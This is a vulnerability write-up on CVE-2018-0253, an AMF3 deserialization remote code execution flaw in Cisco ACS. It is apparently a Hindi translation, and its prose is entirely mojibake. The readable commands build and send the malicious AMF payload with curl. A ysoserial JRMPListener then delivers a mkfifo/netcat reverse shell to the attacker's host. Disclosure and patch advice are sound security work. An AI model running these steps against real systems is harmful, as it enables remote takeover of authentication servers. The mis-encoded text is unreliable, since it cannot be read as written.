рд╣рд╛рд▓ рд╣реА рдореЗрдВ, рдХреЛрдб рд╡реНрд╣рд╛рдЗрдЯ рдХреЗ рдорд╛рд░реНрдХрд╕ рд╡реБрд▓реНрдлрдЯреЗрдиреНрдЧ рдиреЗ рдПрдХ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдкрд░
рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рдЕрдзреНрдпрдпрди
рд╕рд╛рдЭрд╛ рдХрд┐рдпрд╛ рдЕрдЧрд░ рдпрд╣ рдЬрд╛рд╡рд╛ рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдПрдПрдордПрдл 3 рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдлреНрд▓реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдПрд╕рдбрдмреНрд▓реНрдпреВрдПрдл рдСрдмреНрдЬреЗрдХреНрдЯ рдФрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рд░реНрд╡рд░ рднрд╛рдЧ рдХреЗ рдмреАрдЪ рдбреЗрдЯрд╛ рдПрдХреНрд╕рдЪреЗрдВрдЬ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЖрдкрдХреЛ рдлрд╝реНрд▓реИрд╢.utils.IExternalizable рдкреНрд░рдХрд╛рд░ рдХреА рдХреНрд░рдордмрджреНрдз рд╡рд╕реНрддреБрдУрдВ рдХреЛ рд╕рд░реНрд╡рд░ рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпреЗ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдСрдмреНрдЬреЗрдХреНрдЯ рдбрд┐рд╕реЗрд░рд░рд▓рд╛рдЗрдЬрд╝реНрдб рд╣реИрдВ, рдЯрд╛рдЗрдк рдХрдиреНрд╡рд░реНрдЬрд╝рди рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдлрд╝реНрд▓реИрд╢.utils.IExternalizable java.io.Externalizable рдореЗрдВ рдмрджрд▓ рдЬрд╛рддреА рд╣реИред рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ рдЬреЛ рдХрдХреНрд╖рд╛рдПрдВ рдЗрд╕ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреА рд╣реИрдВ рд╡реЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдХреНрд░рдорд╛рдВрдХрди рдФрд░ рдбреАрд░рд┐рдПрд▓рд╛рдЗрдЬрд╝реЗрд╢рди рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреА рд╣реИрдВред рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рд╣реИ рдХрд┐ рдЖрдк рдПрдХ рд╡рд░реНрдЧ рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдм deserialized, рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред
рдорд╛рд░реНрдХрд╕ рдиреЗ OpenJDK 8u121 рд╕реЗ рд╕рднреА рд╡рд░реНрдЧреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬреЛ java.io.Externalizable рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЛрдВрдиреЗ рдкрд╛рдпрд╛ рдХрд┐ рд╡реЗ RMI рддрдВрддреНрд░ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╡рд░реНрдЧ sun.rmi.server.UnicastRef рдФрд░ sun.rmi.server.UnicastRef2 рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпрджрд┐ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдПрдХ рд╡рд░реНрдЧ рдХреА рд╡рд╕реНрддреБ рдХреЛ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рддреИрдпрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ (рдЗрд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдореЗрдЬрдмрд╛рди рд╕реЗ рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рдЖрд░рдВрдн рдХрд░реЗрдВ), рдФрд░ рдлрд┐рд░ рдЗрд╕реЗ рдХрдордЬреЛрд░ рд╕рд░реНрд╡рд░ рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВ, рддреЛ рд╕рд░реНрд╡рд░ JVM LiveRef рд▓рд┐рдВрдХ рдХреЛ "рджреВрд░рд╕реНрде рдСрдмреНрдЬреЗрдХреНрдЯ" рдореЗрдВ рдкрдВрдЬреАрдХреГрдд рдХрд░реЗрдЧрд╛ред рдЙрд╕рдХреЗ рдмрд╛рдж, рдХрдЪрд░рд╛ рд╕рдВрдЧреНрд░рд╣ рддрдВрддреНрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдореЗрдЬрдмрд╛рди рдХреЗ рд╕рд╛рде рдПрдХ рдЬреЗрдЖрд░рдПрдордкреА рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдЧрд╛ред рдФрд░ рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ, рдЬреЗрдЖрд░рдПрдордкреА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдореЗрдВ рдЕрдиреБрдХреНрд░рдорд┐рдд рдЬрд╛рд╡рд╛ рд╡рд╕реНрддреБрдУрдВ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ deserialization рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣рдорд▓реЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
CVE-2018-0253 рдпрд╛ рд╣рдордиреЗ Cisco ACS рдХреЛ рдХреИрд╕реЗ рд╣реИрдХ рдХрд┐рдпрд╛
рдПрдХ рдмрд╛рд░, рд╣рдорд╛рд░реЗ рдПрдХ рдкрд░реАрдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди, рд╣рдореЗрдВ рд╕рд┐рд╕реНрдХреЛ рдПрд╕реАрдПрд╕ 5.8 рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдВрдЪ рдорд┐рд▓реАред рдЙрд╕реА рд╕рдордп, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рд╡реЗрдм рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдХрд╛рд░реНрдпрд╢реАрд▓ рд╕рд░реНрд╡рд░ рд╕реЗ рдЬреБрдбрд╝рдиреЗ рдХрд╛ рдЕрд╡рд╕рд░ рдерд╛ред рд╡реЗрдм рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рджреМрд░рд╛рди, рд╣рдордиреЗ рдкрд╛рдпрд╛ рдХрд┐ AMF3 рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рд╡рд╛рд▓реЗ POST рдЕрдиреБрд░реЛрдз рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВред
рдмрд╛рдж рдореЗрдВ рдпрд╣ рджреЗрдЦрд╛ рдЧрдпрд╛ рдХрд┐ рд╕рд░реНрд╡рд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рдмрд┐рдирд╛ рдРрд╕реЗ POST рдЕрдиреБрд░реЛрдз рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИHTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдиреЗ рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдХрд┐ рд╡реЗрдм рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдЬрд╛рд╡рд╛ рдореЗрдВ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рддреЛ, рдЖрдк рдПрдХ рд╣рдорд▓реЗ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдореВрд▓ рд╢реЛрд╖рдг рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рд╣реЛрд╕реНрдЯ рдФрд░ рдкреЛрд░реНрдЯ рдЪрд░ рдмрджрд▓реЗрдВред рд╕рдВрдХрд▓рди рдХрд░рддреЗ рд╕рдордп, рдЖрдкрдХреЛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ CLASSPATH рдореЗрдВ Apache BlazeDS рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рд░рд╛рд╕реНрддрд╛ рд╣реИред рд╕рдВрдХрд▓рд┐рдд рдХреЛрдб рдХреЛ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдПрдХ рдПрдПрдордПрдл рдкреИрдХреЗрдЬ рдХрд╛ рдЙрддреНрдкрд╛рджрди рд╣реЛрдЧрд╛: рдпреВрдирд┐рдХреИрд╕реНрдЯрд░реАрдл рдХреНрд▓рд╛рд╕ рдХрд╛ рдПрдХ рдзрд╛рд░рд╛рд╡рд╛рд╣рд┐рдХ рдСрдмреНрдЬреЗрдХреНрдЯ, рдЬреЛ рд╣рдорд╛рд░реЗ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд▓рд╛рдЗрд╡рд░рдл рд▓рд┐рдВрдХ рджреНрд╡рд╛рд░рд╛ рдЖрд░рдВрднреАрдХреГрдд рд╣реЛрддрд╛ рд╣реИред
javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload
рд╣рдо рд╕рд┐рд╕реНрдХреЛ рдПрд╕реАрдПрд╕ рдХреЗ рд▓рд┐рдП рдЙрддреНрдкрдиреНрди рдПрдПрдордПрдл рдкреИрдХреЗрдЯ рдпреБрдХреНрдд рдПрдХ HTTP рдЕрдиреБрд░реЛрдз рднреЗрдЬрддреЗ рд╣реИрдВ рдФрд░ рд╣рдо рдПрдХ рдХрдиреЗрдХреНрд╢рди рдкреНрд░рдпрд╛рд╕ рджреЗрдЦрддреЗ рд╣реИрдВред
curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k \ https://[IP Cisco ACS]/acsview/messagebroker/amfsecure

рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реБрдЖ рдХреНрдпреЛрдВрдХрд┐ Apache BlazeDS рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдПрдХ рдХрдордЬреЛрд░ рд╕рдВрд╕реНрдХрд░рдг рд╕рд░реНрд╡рд░ рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╕рд┐рд╕реНрдХреЛ рдПрд╕реАрдПрд╕ рдиреЗ рдПрдПрдордПрдл рдкреИрдХреЗрдЯ рдХреЛ рдЕрдирдкреИрдХ рдХрд┐рдпрд╛, рдЬрд┐рд╕ рд╡рд╕реНрддреБ рдХреЛ рд╣рдордиреЗ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдерд╛, рдЙрд╕реЗ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░ рджрд┐рдпрд╛ рдФрд░ рдЕрдм рдХрдЪрд░рд╛ рд╕рдВрдЧреНрд░рд╣рдХрд░реНрддрд╛ рд╣рдорд╛рд░реЗ рд╕рд░реНрд╡рд░ рдкрд░ рдЬреЗрдЖрд░рдПрдордкреА рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдПрдХ рдЖрд░рдПрдордЖрдИ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд╕рд╛рде рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХрд╛ рдЬрд╡рд╛рдм рджреЗрддреЗ рд╣реИрдВ, рддреЛ рд╕рд┐рд╕реНрдХреЛ рдПрд╕реАрдПрд╕ рдкреНрд░рд╛рдкреНрдд рдбреЗрдЯрд╛ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╣рдорд╛рд░реЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред
рд╣рдо ysoserial рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ JRMP рд╕рд░реНрд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░реЗрдЧрд╛: рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдкрд░, рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ CommonsCollection1 рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд╕реЗ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдкреНрд░рд╛рдкреНрдд рд╣реЛрдЧрд╛, рдЬрд┐рд╕рдХреЗ рдЕрдВрджрд░ рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рджрд░реНрд╢рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЛрдб рд╣реИред
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP ] 80 >/tmp/f'
рдЕрдм рд╣рдо AMF рдкреИрдХреЗрдЯ рднреЗрдЬрддреЗ рд╣реИрдВ рдФрд░ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ:

рдПрдХ рдирд┐рд╖реНрдХрд░реНрд╖ рдХреЗ рдмрдЬрд╛рдп
рдорд┐рд▓реА рднреЗрджреНрдпрддрд╛ рдПрдХ рдЕрдирдзрд┐рдХреГрдд рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдордирдорд╛рдирд╛ рдЖрджреЗрд╢реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдирд┐рд░реНрдорд╛рддрд╛
рдиреЗ CVSS рдкреИрдорд╛рдиреЗ рдкрд░ рдЗрд╕реЗ 9.8 рджрд░реНрдЬрд╛ рджрд┐рдпрд╛ ред рд╣рдо рд╕рднреА рдХреЛ рд╕рд▓рд╛рд╣ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ рдирд╡реАрдирддрдо рдкреИрдЪ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред
рдХрдордЬреЛрд░ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░:
- рд╕рд┐рд╕реНрдХреЛ рдПрд╕реАрдПрд╕ <5.8.0.32.7 - рдХрдордЬреЛрд░, рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ;
- рд╕рд┐рд╕реНрдХреЛ рдПрд╕реАрдПрд╕ 5.8.0.32.7, 5.8.0.32.8 - рдХрдордЬреЛрд░, рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛;
- рд╕рд┐рд╕реНрдХреЛ рдПрд╕реАрдПрд╕ 5.8.0.32.9 рдХреЗ рд╕рд╛рде рд╢реБрд░реВ - рднреЗрджреНрдпрддрд╛ рдмрдВрдж рд╣реИред
рд▓реЗрдЦрдХ : рдорд┐рдЦрд╛рдЗрд▓ рдХреНрд▓рд╛рдЗрдиреБрдЪрд┐рдХреЛрд╡ рдФрд░ рдпреВрд░реА рдПрд▓реАрдиреЛрд╡, рдкреЙрдЬрд┐рдЯрд┐рд╡ рдЯреЗрдХреНрдиреЛрд▓реЙрдЬреАрдЬ